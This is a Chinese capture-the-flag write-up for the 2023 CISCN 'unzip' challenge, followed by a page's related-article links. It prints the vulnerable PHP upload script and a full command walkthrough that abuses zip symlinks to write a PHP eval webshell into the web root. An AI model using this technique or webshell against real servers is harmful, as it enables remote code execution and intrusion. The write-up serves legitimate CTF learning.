2023CISCN初赛unzip

2023CISCN初赛unzip

随便上传一个文件,会自动跳转到uplaod.php目录下,源码如下:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!

可以看到验证文件MIME类型,需要上传zip文件。然后进入到tmp目录下,调用unzip命令进行解压。

解题思路:

这里可以思考将文件马写到zip压缩包中,但是在linux系统中,如果使用apache服务器,默认的网站web根目录是/var/www/html,而马却在tmp目录下,无法访问。

想要实现目录跳转,可以使用软连接,使/tmp目录下的link与网站根目录/var/www/html建立软链接

bash 复制代码
#创建一个文件夹aaa进入其中,将该文件夹与/var/www/html目录进行软连接
ln -s /var/www/html slink
  • 当前目录下会出现一个名为 slink 的符号链接。
  • 当你访问 slink,系统会将操作重定向到 /var/www/html。假设 /var/www/html 下有一个文件 index.html,执行命令后,通过 link/index.html 就可以访问该文件。
bash 复制代码
#生成一个压缩包slink.zip里面包含slink文件
zip --symlink slink.zip slink

此时aaa文件夹下已经有了slink和slink.zip两个文件。然后删除slink文件,建立一个文件夹名为slink。进入到slink文件夹下。

bash 复制代码
#写一个一句话木马,注意这里要使用单引号,如何使用双引号会把$_REQUEST当作变量解析,导致缺失
echo '<?php @eval($_REQUEST[1]);?>' >>shell.php

然后返回上一级目录,将slink文件夹压缩,保存为slink2.zip文件

bash 复制代码
zip -r slink2.zip ./slink/*

此时该文件夹下有两个zip文件

bash 复制代码
├── slink.zip
│   └── slink
├── slink2.zip
	└── shell.php

先上传slink.zip,再上传slink2.zip。之后用蚁剑链接或者命令执行即可。

命令汇总:

bash 复制代码
root@VM-4-17-ubuntu:/home/ubuntu# mkdir aaa
root@VM-4-17-ubuntu:/home/ubuntu# cd aaa
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ln -s /var/www/html slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip --symlink slink.zip slink
  adding: slink (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# rm -rf slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# mkdir slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# cd slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# echo '<?php @eval($_REQUEST[1]);?>' >>shell.php
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# cd ../
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip -r slink2.zip ./slink/*
  adding: slink/shell.php (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink2.zip  slink.zip

相关推荐
段一凡-华北理工大学几秒前
工业领域的Hadoop架构学习~系列文章14:Hadoop集群部署 - 从规划到上线的全流程实践
大数据·数据库·人工智能·hadoop·学习·架构·高炉炼铁
J.Kuchiki3 分钟前
【PostgreSQL内核学习:Unique 算子源码深度解读学习】
数据库·学习·postgresql
踏着七彩祥云的小丑22 分钟前
嵌入式测试学习第 28 天:网络调试助手使用、TCP服务端客户端实操
单片机·嵌入式硬件·学习
imDwAaY25 分钟前
从感知机到 Attention:我用 PyTorch 打穿 CS188 机器学习终章 CS188 Proj5 学习笔记
人工智能·pytorch·笔记·python·学习·机器学习
马***4119 小时前
适配成人英语学习痛点,打造落地性强的学习辅助方式
人工智能·学习
小拉达不是臭老鼠11 小时前
Unity学习_ScriptableObject
学习·unity
MartinYeung512 小时前
[论文学习]LLM 与其他 AI 模型的隐私考量:输入与输出隐私框架方法
人工智能·学习
(●—●)橘子……13 小时前
力扣第503场周赛练习理解
python·学习·算法·leetcode·职场和发展·周赛
AOwhisky14 小时前
MySQL 学习笔记(第一期):数据库基础与 MySQL 初探
运维·数据库·笔记·学习·mysql·云计算
try2find15 小时前
Agent学习之补充my_plan_solve_agent
学习